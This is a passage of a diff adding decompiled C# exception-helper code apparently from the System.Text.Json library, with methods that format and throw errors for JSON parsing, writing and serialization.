ThrowArgumentException(System.SR.Format(System.SR.PropertyNameTooLarge, propertyName.Length)); + } + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException(int currentDepth, int maxDepth) + { + currentDepth &= 0x7FFFFFFF; + ThrowInvalidOperationException(System.SR.Format(System.SR.DepthTooLarge, currentDepth, maxDepth)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException(string message) + { + throw GetInvalidOperationException(message); + } + + private static InvalidOperationException GetInvalidOperationException(string message) + { + return new InvalidOperationException(message) + { + Source = "System.Text.Json.Rethrowable" + }; + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_DepthNonZeroOrEmptyJson(int currentDepth) + { + throw GetInvalidOperationException(currentDepth); + } + + private static InvalidOperationException GetInvalidOperationException(int currentDepth) + { + currentDepth &= 0x7FFFFFFF; + if (currentDepth != 0) + { + return GetInvalidOperationException(System.SR.Format(System.SR.ZeroDepthAtEnd, currentDepth)); + } + return GetInvalidOperationException(System.SR.EmptyJsonIsInvalid); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationOrArgumentException(ReadOnlySpan propertyName, int currentDepth, int maxDepth) + { + currentDepth &= 0x7FFFFFFF; + if (currentDepth >= maxDepth) + { + ThrowInvalidOperationException(System.SR.Format(System.SR.DepthTooLarge, currentDepth, maxDepth)); + } + else + { + ThrowArgumentException(System.SR.Format(System.SR.PropertyNameTooLarge, propertyName.Length)); + } + } + + public static InvalidOperationException GetInvalidOperationException_ExpectedArray(JsonTokenType tokenType) + { + return GetInvalidOperationException("array", tokenType); + } + + public static InvalidOperationException GetInvalidOperationException_ExpectedObject(JsonTokenType tokenType) + { + return GetInvalidOperationException("object", tokenType); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_ExpectedNumber(JsonTokenType tokenType) + { + throw GetInvalidOperationException("number", tokenType); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_ExpectedBoolean(JsonTokenType tokenType) + { + throw GetInvalidOperationException("boolean", tokenType); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_ExpectedString(JsonTokenType tokenType) + { + throw GetInvalidOperationException("string", tokenType); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_ExpectedPropertyName(JsonTokenType tokenType) + { + throw GetInvalidOperationException("propertyName", tokenType); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_ExpectedStringComparison(JsonTokenType tokenType) + { + throw GetInvalidOperationException(tokenType); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_ExpectedComment(JsonTokenType tokenType) + { + throw GetInvalidOperationException("comment", tokenType); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_CannotSkipOnPartial() + { + throw GetInvalidOperationException(System.SR.CannotSkip); + } + + private static InvalidOperationException GetInvalidOperationException(string message, JsonTokenType tokenType) + { + return GetInvalidOperationException(System.SR.Format(System.SR.InvalidCast, tokenType, message)); + } + + private static InvalidOperationException GetInvalidOperationException(JsonTokenType tokenType) + { + return GetInvalidOperationException(System.SR.Format(System.SR.InvalidComparison, tokenType)); + } + + [DoesNotReturn] + internal static void ThrowJsonElementWrongTypeException(JsonTokenType expectedType, JsonTokenType actualType) + { + throw GetJsonElementWrongTypeException(expectedType.ToValueKind(), actualType.ToValueKind()); + } + + internal static InvalidOperationException GetJsonElementWrongTypeException(JsonValueKind expectedType, JsonValueKind actualType) + { + return GetInvalidOperationException(System.SR.Format(System.SR.JsonElementHasWrongType, expectedType, actualType)); + } + + internal static InvalidOperationException GetJsonElementWrongTypeException(string expectedTypeName, JsonValueKind actualType) + { + return GetInvalidOperationException(System.SR.Format(System.SR.JsonElementHasWrongType, expectedTypeName, actualType)); + } + + [DoesNotReturn] + public static void ThrowJsonReaderException(ref Utf8JsonReader json, ExceptionResource resource, byte nextByte = 0, ReadOnlySpan bytes = default(ReadOnlySpan)) + { + throw GetJsonReaderException(ref json, resource, nextByte, bytes); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + public static JsonException GetJsonReaderException(ref Utf8JsonReader json, ExceptionResource resource, byte nextByte, ReadOnlySpan bytes) + { + string resourceString = GetResourceString(ref json, resource, nextByte, JsonHelpers.Utf8GetString(bytes)); + long lineNumber = json.CurrentState._lineNumber; + long bytePositionInLine = json.CurrentState._bytePositionInLine; + resourceString += $" LineNumber: {lineNumber} | BytePositionInLine: {bytePositionInLine}."; + return new JsonReaderException(resourceString, lineNumber, bytePositionInLine); + } + + private static bool IsPrintable(byte value) + { + if (value >= 32) + { + return value < 127; + } + return false; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static string GetPrintableString(byte value) + { + if (!IsPrintable(value)) + { + return $"0x{value:X2}"; + } + char c = (char)value; + return c.ToString(); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static string GetResourceString(ref Utf8JsonReader json, ExceptionResource resource, byte nextByte, string characters) + { + string printableString = GetPrintableString(nextByte); + string result = ""; + switch (resource) + { + case ExceptionResource.ArrayDepthTooLarge: + result = System.SR.Format(System.SR.ArrayDepthTooLarge, json.CurrentState.Options.MaxDepth); + break; + case ExceptionResource.MismatchedObjectArray: + result = System.SR.Format(System.SR.MismatchedObjectArray, printableString); + break; + case ExceptionResource.TrailingCommaNotAllowedBeforeArrayEnd: + result = System.SR.TrailingCommaNotAllowedBeforeArrayEnd; + break; + case ExceptionResource.TrailingCommaNotAllowedBeforeObjectEnd: + result = System.SR.TrailingCommaNotAllowedBeforeObjectEnd; + break; + case ExceptionResource.EndOfStringNotFound: + result = System.SR.EndOfStringNotFound; + break; + case ExceptionResource.RequiredDigitNotFoundAfterSign: + result = System.SR.Format(System.SR.RequiredDigitNotFoundAfterSign, printableString); + break; + case ExceptionResource.RequiredDigitNotFoundAfterDecimal: + result = System.SR.Format(System.SR.RequiredDigitNotFoundAfterDecimal, printableString); + break; + case ExceptionResource.RequiredDigitNotFoundEndOfData: + result = System.SR.RequiredDigitNotFoundEndOfData; + break; + case ExceptionResource.ExpectedEndAfterSingleJson: + result = System.SR.Format(System.SR.ExpectedEndAfterSingleJson, printableString); + break; + case ExceptionResource.ExpectedEndOfDigitNotFound: + result = System.SR.Format(System.SR.ExpectedEndOfDigitNotFound, printableString); + break; + case ExceptionResource.ExpectedNextDigitEValueNotFound: + result = System.SR.Format(System.SR.ExpectedNextDigitEValueNotFound, printableString); + break; + case ExceptionResource.ExpectedSeparatorAfterPropertyNameNotFound: + result = System.SR.Format(System.SR.ExpectedSeparatorAfterPropertyNameNotFound, printableString); + break; + case ExceptionResource.ExpectedStartOfPropertyNotFound: + result = System.SR.Format(System.SR.ExpectedStartOfPropertyNotFound, printableString); + break; + case ExceptionResource.ExpectedStartOfPropertyOrValueNotFound: + result = System.SR.ExpectedStartOfPropertyOrValueNotFound; + break; + case ExceptionResource.ExpectedStartOfPropertyOrValueAfterComment: + result = System.SR.Format(System.SR.ExpectedStartOfPropertyOrValueAfterComment, printableString); + break; + case ExceptionResource.ExpectedStartOfValueNotFound: + result = System.SR.Format(System.SR.ExpectedStartOfValueNotFound, printableString); + break; + case ExceptionResource.ExpectedValueAfterPropertyNameNotFound: + result = System.SR.ExpectedValueAfterPropertyNameNotFound; + break; + case ExceptionResource.FoundInvalidCharacter: + result = System.SR.Format(System.SR.FoundInvalidCharacter, printableString); + break; + case ExceptionResource.InvalidEndOfJsonNonPrimitive: + result = System.SR.Format(System.SR.InvalidEndOfJsonNonPrimitive, json.TokenType); + break; + case ExceptionResource.ObjectDepthTooLarge: + result = System.SR.Format(System.SR.ObjectDepthTooLarge, json.CurrentState.Options.MaxDepth); + break; + case ExceptionResource.ExpectedFalse: + result = System.SR.Format(System.SR.ExpectedFalse, characters); + break; + case ExceptionResource.ExpectedNull: + result = System.SR.Format(System.SR.ExpectedNull, characters); + break; + case ExceptionResource.ExpectedTrue: + result = System.SR.Format(System.SR.ExpectedTrue, characters); + break; + case ExceptionResource.InvalidCharacterWithinString: + result = System.SR.Format(System.SR.InvalidCharacterWithinString, printableString); + break; + case ExceptionResource.InvalidCharacterAfterEscapeWithinString: + result = System.SR.Format(System.SR.InvalidCharacterAfterEscapeWithinString, printableString); + break; + case ExceptionResource.InvalidHexCharacterWithinString: + result = System.SR.Format(System.SR.InvalidHexCharacterWithinString, printableString); + break; + case ExceptionResource.EndOfCommentNotFound: + result = System.SR.EndOfCommentNotFound; + break; + case ExceptionResource.ZeroDepthAtEnd: + result = System.SR.Format(System.SR.ZeroDepthAtEnd); + break; + case ExceptionResource.ExpectedJsonTokens: + result = System.SR.ExpectedJsonTokens; + break; + case ExceptionResource.NotEnoughData: + result = System.SR.NotEnoughData; + break; + case ExceptionResource.ExpectedOneCompleteToken: + result = System.SR.ExpectedOneCompleteToken; + break; + case ExceptionResource.InvalidCharacterAtStartOfComment: + result = System.SR.Format(System.SR.InvalidCharacterAtStartOfComment, printableString); + break; + case ExceptionResource.UnexpectedEndOfDataWhileReadingComment: + result = System.SR.Format(System.SR.UnexpectedEndOfDataWhileReadingComment); + break; + case ExceptionResource.UnexpectedEndOfLineSeparator: + result = System.SR.Format(System.SR.UnexpectedEndOfLineSeparator); + break; + case ExceptionResource.InvalidLeadingZeroInNumber: + result = System.SR.Format(System.SR.InvalidLeadingZeroInNumber, printableString); + break; + } + return result; + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException(ExceptionResource resource, int currentDepth, int maxDepth, byte token, JsonTokenType tokenType) + { + throw GetInvalidOperationException(resource, currentDepth, maxDepth, token, tokenType); + } + + [DoesNotReturn] + public static void ThrowArgumentException_InvalidCommentValue() + { + throw new ArgumentException(System.SR.CannotWriteCommentWithEmbeddedDelimiter); + } + + [DoesNotReturn] + public static void ThrowArgumentException_InvalidUTF8(ReadOnlySpan value) + { + StringBuilder stringBuilder = new StringBuilder(); + int num = Math.Min(value.Length, 10); + for (int i = 0; i < num; i++) + { + byte b = value[i]; + if (IsPrintable(b)) + { + stringBuilder.Append((char)b); + } + else + { + stringBuilder.Append($"0x{b:X2}"); + } + } + if (num < value.Length) + { + stringBuilder.Append("..."); + } + throw new ArgumentException(System.SR.Format(System.SR.CannotEncodeInvalidUTF8, stringBuilder)); + } + + [DoesNotReturn] + public static void ThrowArgumentException_InvalidUTF16(int charAsInt) + { + throw new ArgumentException(System.SR.Format(System.SR.CannotEncodeInvalidUTF16, $"0x{charAsInt:X2}")); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_ReadInvalidUTF16(int charAsInt) + { + throw GetInvalidOperationException(System.SR.Format(System.SR.CannotReadInvalidUTF16, $"0x{charAsInt:X2}")); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_ReadIncompleteUTF16() + { + throw GetInvalidOperationException(System.SR.CannotReadIncompleteUTF16); + } + + public static InvalidOperationException GetInvalidOperationException_ReadInvalidUTF8(DecoderFallbackException innerException = null) + { + return GetInvalidOperationException(System.SR.CannotTranscodeInvalidUtf8, innerException); + } + + public static ArgumentException GetArgumentException_ReadInvalidUTF16(EncoderFallbackException innerException) + { + return new ArgumentException(System.SR.CannotTranscodeInvalidUtf16, innerException); + } + + public static InvalidOperationException GetInvalidOperationException(string message, Exception innerException) + { + InvalidOperationException ex = new InvalidOperationException(message, innerException); + ex.Source = "System.Text.Json.Rethrowable"; + return ex; + } + + [MethodImpl(MethodImplOptions.NoInlining)] + public static InvalidOperationException GetInvalidOperationException(ExceptionResource resource, int currentDepth, int maxDepth, byte token, JsonTokenType tokenType) + { + string resourceString = GetResourceString(resource, currentDepth, maxDepth, token, tokenType); + InvalidOperationException invalidOperationException = GetInvalidOperationException(resourceString); + invalidOperationException.Source = "System.Text.Json.Rethrowable"; + return invalidOperationException; + } + + [DoesNotReturn] + public static void ThrowOutOfMemoryException(uint capacity) + { + throw new OutOfMemoryException(System.SR.Format(System.SR.BufferMaximumSizeExceeded, capacity)); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static string GetResourceString(ExceptionResource resource, int currentDepth, int maxDepth, byte token, JsonTokenType tokenType) + { + string result = ""; + switch (resource) + { + case ExceptionResource.MismatchedObjectArray: + result = ((tokenType == JsonTokenType.PropertyName) ? System.SR.Format(System.SR.CannotWriteEndAfterProperty, (char)token) : System.SR.Format(System.SR.MismatchedObjectArray, (char)token)); + break; + case ExceptionResource.DepthTooLarge: + result = System.SR.Format(System.SR.DepthTooLarge, currentDepth & 0x7FFFFFFF, maxDepth); + break; + case ExceptionResource.CannotStartObjectArrayWithoutProperty: + result = System.SR.Format(System.SR.CannotStartObjectArrayWithoutProperty, tokenType); + break; + case ExceptionResource.CannotStartObjectArrayAfterPrimitiveOrClose: + result = System.SR.Format(System.SR.CannotStartObjectArrayAfterPrimitiveOrClose, tokenType); + break; + case ExceptionResource.CannotWriteValueWithinObject: + result = System.SR.Format(System.SR.CannotWriteValueWithinObject, tokenType); + break; + case ExceptionResource.CannotWritePropertyWithinArray: + result = ((tokenType == JsonTokenType.PropertyName) ? System.SR.Format(System.SR.CannotWritePropertyAfterProperty) : System.SR.Format(System.SR.CannotWritePropertyWithinArray, tokenType)); + break; + case ExceptionResource.CannotWriteValueAfterPrimitiveOrClose: + result = System.SR.Format(System.SR.CannotWriteValueAfterPrimitiveOrClose, tokenType); + break; + } + return result; + } + + [DoesNotReturn] + public static void ThrowFormatException() + { + throw new FormatException + { + Source = "System.Text.Json.Rethrowable" + }; + } + + public static void ThrowFormatException(NumericType numericType) + { + string message = ""; + switch (numericType) + { + case NumericType.Byte: + message = System.SR.FormatByte; + break; + case NumericType.SByte: + message = System.SR.FormatSByte; + break; + case NumericType.Int16: + message = System.SR.FormatInt16; + break; + case NumericType.Int32: + message = System.SR.FormatInt32; + break; + case NumericType.Int64: + message = System.SR.FormatInt64; + break; + case NumericType.Int128: + message = System.SR.FormatInt128; + break; + case NumericType.UInt16: + message = System.SR.FormatUInt16; + break; + case NumericType.UInt32: + message = System.SR.FormatUInt32; + break; + case NumericType.UInt64: + message = System.SR.FormatUInt64; + break; + case NumericType.UInt128: + message = System.SR.FormatUInt128; + break; + case NumericType.Half: + message = System.SR.FormatHalf; + break; + case NumericType.Single: + message = System.SR.FormatSingle; + break; + case NumericType.Double: + message = System.SR.FormatDouble; + break; + case NumericType.Decimal: + message = System.SR.FormatDecimal; + break; + } + throw new FormatException(message) + { + Source = "System.Text.Json.Rethrowable" + }; + } + + [DoesNotReturn] + public static void ThrowFormatException(DataType dataType) + { + string message = ""; + switch (dataType) + { + case DataType.Boolean: + case DataType.DateOnly: + case DataType.DateTime: + case DataType.DateTimeOffset: + case DataType.TimeOnly: + case DataType.TimeSpan: + case DataType.Guid: + case DataType.Version: + message = System.SR.Format(System.SR.UnsupportedFormat, dataType); + break; + case DataType.Base64String: + message = System.SR.CannotDecodeInvalidBase64; + break; + } + throw new FormatException(message) + { + Source = "System.Text.Json.Rethrowable" + }; + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_ExpectedChar(JsonTokenType tokenType) + { + throw GetInvalidOperationException("char", tokenType); + } + + [DoesNotReturn] + public static void ThrowObjectDisposedException_Utf8JsonWriter() + { + throw new ObjectDisposedException("Utf8JsonWriter"); + } + + [DoesNotReturn] + public static void ThrowObjectDisposedException_JsonDocument() + { + throw new ObjectDisposedException("JsonDocument"); + } + + [DoesNotReturn] + public static void ThrowArgumentException_NodeValueNotAllowed(string paramName) + { + throw new ArgumentException(System.SR.NodeValueNotAllowed, paramName); + } + + [DoesNotReturn] + public static void ThrowArgumentException_DuplicateKey(string paramName, string propertyName) + { + throw new ArgumentException(System.SR.Format(System.SR.NodeDuplicateKey, propertyName), paramName); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_NodeAlreadyHasParent() + { + throw new InvalidOperationException(System.SR.NodeAlreadyHasParent); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_NodeCycleDetected() + { + throw new InvalidOperationException(System.SR.NodeCycleDetected); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_NodeElementCannotBeObjectOrArray() + { + throw new InvalidOperationException(System.SR.NodeElementCannotBeObjectOrArray); + } + + [DoesNotReturn] + public static void ThrowNotSupportedException_CollectionIsReadOnly() + { + throw GetNotSupportedException_CollectionIsReadOnly(); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_NodeWrongType(string typeName) + { + throw new InvalidOperationException(System.SR.Format(System.SR.NodeWrongType, typeName)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_NodeParentWrongType(string typeName) + { + throw new InvalidOperationException(System.SR.Format(System.SR.NodeParentWrongType, typeName)); + } + + public static NotSupportedException GetNotSupportedException_CollectionIsReadOnly() + { + return new NotSupportedException(System.SR.CollectionIsReadOnly); + } + + [DoesNotReturn] + public static void ThrowArgumentException_DeserializeWrongType(Type type, object value) + { + throw new ArgumentException(System.SR.Format(System.SR.DeserializeWrongType, type, value.GetType())); + } + + [DoesNotReturn] + public static void ThrowArgumentException_SerializerDoesNotSupportComments(string paramName) + { + throw new ArgumentException(System.SR.JsonSerializerDoesNotSupportComments, paramName); + } + + [DoesNotReturn] + public static void ThrowNotSupportedException_SerializationNotSupported(Type propertyType) + { + throw new NotSupportedException(System.SR.Format(System.SR.SerializationNotSupportedType, propertyType)); + } + + [DoesNotReturn] + public static void ThrowNotSupportedException_TypeRequiresAsyncSerialization(Type propertyType) + { + throw new NotSupportedException(System.SR.Format(System.SR.TypeRequiresAsyncSerialization, propertyType)); + } + + [DoesNotReturn] + public static void ThrowNotSupportedException_DictionaryKeyTypeNotSupported(Type keyType, JsonConverter converter) + { + throw new NotSupportedException(System.SR.Format(System.SR.DictionaryKeyTypeNotSupported, keyType, converter.GetType())); + } + + [DoesNotReturn] + public static void ThrowJsonException_DeserializeUnableToConvertValue(Type propertyType) + { + throw new JsonException(System.SR.Format(System.SR.DeserializeUnableToConvertValue, propertyType)) + { + AppendPathInformation = true + }; + } + + [DoesNotReturn] + public static void ThrowInvalidCastException_DeserializeUnableToAssignValue(Type typeOfValue, Type declaredType) + { + throw new InvalidCastException(System.SR.Format(System.SR.DeserializeUnableToAssignValue, typeOfValue, declaredType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_DeserializeUnableToAssignNull(Type declaredType) + { + throw new InvalidOperationException(System.SR.Format(System.SR.DeserializeUnableToAssignNull, declaredType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_ObjectCreationHandlingPopulateNotSupportedByConverter(JsonPropertyInfo propertyInfo) + { + throw new InvalidOperationException(System.SR.Format(System.SR.ObjectCreationHandlingPopulateNotSupportedByConverter, propertyInfo.Name, propertyInfo.DeclaringType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_ObjectCreationHandlingPropertyMustHaveAGetter(JsonPropertyInfo propertyInfo) + { + throw new InvalidOperationException(System.SR.Format(System.SR.ObjectCreationHandlingPropertyMustHaveAGetter, propertyInfo.Name, propertyInfo.DeclaringType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_ObjectCreationHandlingPropertyValueTypeMustHaveASetter(JsonPropertyInfo propertyInfo) + { + throw new InvalidOperationException(System.SR.Format(System.SR.ObjectCreationHandlingPropertyValueTypeMustHaveASetter, propertyInfo.Name, propertyInfo.DeclaringType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_ObjectCreationHandlingPropertyCannotAllowPolymorphicDeserialization(JsonPropertyInfo propertyInfo) + { + throw new InvalidOperationException(System.SR.Format(System.SR.ObjectCreationHandlingPropertyCannotAllowPolymorphicDeserialization, propertyInfo.Name, propertyInfo.DeclaringType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_ObjectCreationHandlingPropertyCannotAllowReadOnlyMember(JsonPropertyInfo propertyInfo) + { + throw new InvalidOperationException(System.SR.Format(System.SR.ObjectCreationHandlingPropertyCannotAllowReadOnlyMember, propertyInfo.Name, propertyInfo.DeclaringType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_ObjectCreationHandlingPropertyCannotAllowReferenceHandling() + { + throw new InvalidOperationException(System.SR.ObjectCreationHandlingPropertyCannotAllowReferenceHandling); + } + + [DoesNotReturn] + public static void ThrowNotSupportedException_ObjectCreationHandlingPropertyDoesNotSupportParameterizedConstructors() + { + throw new NotSupportedException(System.SR.ObjectCreationHandlingPropertyDoesNotSupportParameterizedConstructors); + } + + [DoesNotReturn] + public static void ThrowJsonException_SerializationConverterRead(JsonConverter converter) + { + throw new JsonException(System.SR.Format(System.SR.SerializationConverterRead, converter)) + { + AppendPathInformation = true + }; + } + + [DoesNotReturn] + public static void ThrowJsonException_SerializationConverterWrite(JsonConverter converter) + { + throw new JsonException(System.SR.Format(System.SR.SerializationConverterWrite, converter)) + { + AppendPathInformation = true + }; + } + + [DoesNotReturn] + public static void ThrowJsonException_SerializerCycleDetected(int maxDepth) + { + throw new JsonException(System.SR.Format(System.SR.SerializerCycleDetected, maxDepth)) + { + AppendPathInformation = true + }; + } + + [DoesNotReturn] + public static void ThrowJsonException(string message = null) + { + throw new JsonException(message) + { + AppendPathInformation = true + }; + } + + [DoesNotReturn] + public static void ThrowArgumentException_CannotSerializeInvalidType(string paramName, Type typeToConvert, Type declaringType, string propertyName) + { + if (declaringType == null) + { + throw new ArgumentException(System.SR.Format(System.SR.CannotSerializeInvalidType, typeToConvert), paramName); + } + throw new ArgumentException(System.SR.Format(System.SR.CannotSerializeInvalidMember, typeToConvert, propertyName, declaringType), paramName); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_CannotSerializeInvalidType(Type typeToConvert, Type declaringType, MemberInfo memberInfo) + { + if (declaringType == null) + { + throw new InvalidOperationException(System.SR.Format(System.SR.CannotSerializeInvalidType, typeToConvert)); + } + throw new InvalidOperationException(System.SR.Format(System.SR.CannotSerializeInvalidMember, typeToConvert, memberInfo.Name, declaringType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_SerializationConverterNotCompatible(Type converterType, Type type) + { + throw new InvalidOperationException(System.SR.Format(System.SR.SerializationConverterNotCompatible, converterType, type)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_ResolverTypeNotCompatible(Type requestedType, Type actualType) + { + throw new InvalidOperationException(System.SR.Format(System.SR.ResolverTypeNotCompatible, actualType, requestedType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_ResolverTypeInfoOptionsNotCompatible() + { + throw new InvalidOperationException(System.SR.ResolverTypeInfoOptionsNotCompatible); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_JsonSerializerOptionsNoTypeInfoResolverSpecified() + { + throw new InvalidOperationException(System.SR.JsonSerializerOptionsNoTypeInfoResolverSpecified); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_JsonSerializerIsReflectionDisabled() + { + throw new InvalidOperationException(System.SR.JsonSerializerIsReflectionDisabled); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_SerializationConverterOnAttributeInvalid(Type classType, MemberInfo memberInfo) + { + string text = classType.ToString(); + if (memberInfo != null) + { + text = text + "." + memberInfo.Name; + } + throw new InvalidOperationException(System.SR.Format(System.SR.SerializationConverterOnAttributeInvalid, text)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_SerializationConverterOnAttributeNotCompatible(Type classTypeAttributeIsOn, MemberInfo memberInfo, Type typeToConvert) + { + string text = classTypeAttributeIsOn.ToString(); + if (memberInfo != null) + { + text = text + "." + memberInfo.Name; + } + throw new InvalidOperationException(System.SR.Format(System.SR.SerializationConverterOnAttributeNotCompatible, text, typeToConvert)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_SerializerOptionsReadOnly(JsonSerializerContext context) + { + string message = ((context == null) ? System.SR.SerializerOptionsReadOnly : System.SR.SerializerContextOptionsReadOnly); + throw new InvalidOperationException(message); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_DefaultTypeInfoResolverImmutable() + { + throw new InvalidOperationException(System.SR.DefaultTypeInfoResolverImmutable); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_TypeInfoResolverChainImmutable() + { + throw new InvalidOperationException(System.SR.TypeInfoResolverChainImmutable); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_TypeInfoImmutable() + { + throw new InvalidOperationException(System.SR.TypeInfoImmutable); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_InvalidChainedResolver() + { + throw new InvalidOperationException(System.SR.SerializerOptions_InvalidChainedResolver); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_SerializerPropertyNameConflict(Type type, string propertyName) + { + throw new InvalidOperationException(System.SR.Format(System.SR.SerializerPropertyNameConflict, type, propertyName)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_SerializerPropertyNameNull(JsonPropertyInfo jsonPropertyInfo) + { + throw new InvalidOperationException(System.SR.Format(System.SR.SerializerPropertyNameNull, jsonPropertyInfo.DeclaringType, jsonPropertyInfo.MemberName)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_JsonPropertyRequiredAndNotDeserializable(JsonPropertyInfo jsonPropertyInfo) + { + throw new InvalidOperationException(System.SR.Format(System.SR.JsonPropertyRequiredAndNotDeserializable, jsonPropertyInfo.Name, jsonPropertyInfo.DeclaringType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_JsonPropertyRequiredAndExtensionData(JsonPropertyInfo jsonPropertyInfo) + { + throw new InvalidOperationException(System.SR.Format(System.SR.JsonPropertyRequiredAndExtensionData, jsonPropertyInfo.Name, jsonPropertyInfo.DeclaringType)); + } + + [DoesNotReturn] + public static void ThrowJsonException_JsonRequiredPropertyMissing(JsonTypeInfo parent, BitArray requiredPropertiesSet) + { + StringBuilder stringBuilder = new StringBuilder(); + bool flag = true; + foreach (KeyValuePair item in parent.PropertyCache.List) + { + JsonPropertyInfo value = item.Value; + if (value.IsRequired && !requiredPropertiesSet[value.RequiredPropertyIndex]) + { + if (!flag) + { + stringBuilder.Append(CultureInfo.CurrentUICulture.TextInfo.ListSeparator); + stringBuilder.Append(' '); + } + stringBuilder.Append(value.Name); + flag = false; + if (stringBuilder.Length >= 50) + { + break; + } + } + } + throw new JsonException(System.SR.Format(System.SR.JsonRequiredPropertiesMissing, parent.Type, stringBuilder.ToString())); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_NamingPolicyReturnNull(JsonNamingPolicy namingPolicy) + { + throw new InvalidOperationException(System.SR.Format(System.SR.NamingPolicyReturnNull, namingPolicy)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_SerializerConverterFactoryReturnsNull(Type converterType) + { + throw new InvalidOperationException(System.SR.Format(System.SR.SerializerConverterFactoryReturnsNull, converterType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_SerializerConverterFactoryReturnsJsonConverterFactorty(Type converterType) + { + throw new InvalidOperationException(System.SR.Format(System.SR.SerializerConverterFactoryReturnsJsonConverterFactory, converterType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_MultiplePropertiesBindToConstructorParameters(Type parentType, string parameterName, string firstMatchName, string secondMatchName) + { + throw new InvalidOperationException(System.SR.Format(System.SR.MultipleMembersBindWithConstructorParameter, firstMatchName, secondMatchName, parentType, parameterName)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_ConstructorParameterIncompleteBinding(Type parentType) + { + throw new InvalidOperationException(System.SR.Format(System.SR.ConstructorParamIncompleteBinding, parentType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_ExtensionDataCannotBindToCtorParam(string propertyName, JsonPropertyInfo jsonPropertyInfo) + { + throw new InvalidOperationException(System.SR.Format(System.SR.ExtensionDataCannotBindToCtorParam, propertyName, jsonPropertyInfo.DeclaringType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_JsonIncludeOnInaccessibleProperty(string memberName, Type declaringType) + { + throw new InvalidOperationException(System.SR.Format(System.SR.JsonIncludeOnInaccessibleProperty, memberName, declaringType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_IgnoreConditionOnValueTypeInvalid(string clrPropertyName, Type propertyDeclaringType) + { + throw new InvalidOperationException(System.SR.Format(System.SR.IgnoreConditionOnValueTypeInvalid, clrPropertyName, propertyDeclaringType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_NumberHandlingOnPropertyInvalid(JsonPropertyInfo jsonPropertyInfo) + { + throw new InvalidOperationException(System.SR.Format(System.SR.NumberHandlingOnPropertyInvalid, jsonPropertyInfo.MemberName, jsonPropertyInfo.DeclaringType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_ConverterCanConvertMultipleTypes(Type runtimePropertyType, JsonConverter jsonConverter) + { + throw new InvalidOperationException(System.SR.Format(System.SR.ConverterCanConvertMultipleTypes, jsonConverter.GetType(), jsonConverter.Type, runtimePropertyType)); + } + + [DoesNotReturn] + public static void ThrowNotSupportedException_ObjectWithParameterizedCtorRefMetadataNotSupported(ReadOnlySpan propertyName, ref Utf8JsonReader reader, scoped ref ReadStack state) + { + JsonTypeInfo topJsonTypeInfoWithParameterizedConstructor = state.GetTopJsonTypeInfoWithParameterizedConstructor(); + state.Current.JsonPropertyName = propertyName.ToArray(); + NotSupportedException ex = new NotSupportedException(System.SR.Format(System.SR.ObjectWithParameterizedCtorRefMetadataNotSupported, topJsonTypeInfoWithParameterizedConstructor.Type)); + ThrowNotSupportedException(ref state, in reader, ex); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_JsonTypeInfoOperationNotPossibleForKind(JsonTypeInfoKind kind) + { + throw new InvalidOperationException(System.SR.Format(System.SR.InvalidJsonTypeInfoOperationForKind, kind)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_CreateObjectConverterNotCompatible(Type type) + { + throw new InvalidOperationException(System.SR.Format(System.SR.CreateObjectConverterNotCompatible, 